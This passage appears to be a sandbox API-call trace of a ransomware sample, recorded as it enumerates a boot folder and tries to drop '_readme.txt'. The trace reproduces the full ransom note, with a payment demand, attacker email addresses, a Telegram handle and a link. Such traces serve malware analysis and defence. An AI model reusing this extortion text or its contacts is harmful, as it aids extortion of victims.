[0119.549] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.549] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.549] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.549] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.549] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.549] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.549] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.549] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.549] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.549] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.549] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0119.549] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.549] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.549] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.549] PathFindFileNameW (pszPath="") returned="" [0119.549] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.549] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.549] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.549] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3092b80 [0119.550] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.550] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.550] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.550] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.550] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0119.550] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.550] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.550] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0119.551] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.551] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.551] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.551] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.551] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.551] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.551] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.551] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.551] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.551] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.551] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.552] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.552] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.552] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0119.552] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0119.552] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.552] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.552] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.552] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.552] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.552] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.552] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.552] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.552] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.552] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.552] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.552] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.552] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.552] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.552] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.552] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.552] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.552] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.552] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.552] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.552] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.552] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.552] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.552] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.552] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.552] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 